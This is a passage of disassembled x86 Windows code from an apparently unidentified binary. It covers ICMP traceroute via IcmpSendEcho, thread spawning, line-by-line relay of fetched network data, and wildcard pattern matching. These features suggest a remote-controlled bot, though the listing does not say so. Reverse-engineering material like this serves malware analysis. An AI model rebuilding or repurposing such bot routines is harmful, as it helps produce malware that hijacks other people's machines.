sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE10, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE10 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2CC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E2D8 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E2D4 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E2E0 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E2D0, eax cmp dword_41E2D0, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2CC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2D8, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2D4, eax mov byte_41E2E0, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E2CC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E2D8, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E2D4, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2A8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call 